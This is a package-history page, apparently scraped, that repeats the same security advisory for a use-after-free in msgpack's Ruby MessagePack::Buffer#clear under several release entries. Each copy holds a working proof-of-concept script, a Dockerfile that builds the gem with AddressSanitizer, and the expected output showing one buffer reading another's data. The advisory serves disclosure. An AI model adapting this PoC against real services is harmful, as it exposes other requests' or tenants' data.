Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 18, 2023

1.7.1 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

May 19, 2023

1.7.0 minor

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 29, 2023

1.6.1 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 03, 2023

1.6.0 minor

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Sep 30, 2022

1.5.6 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0
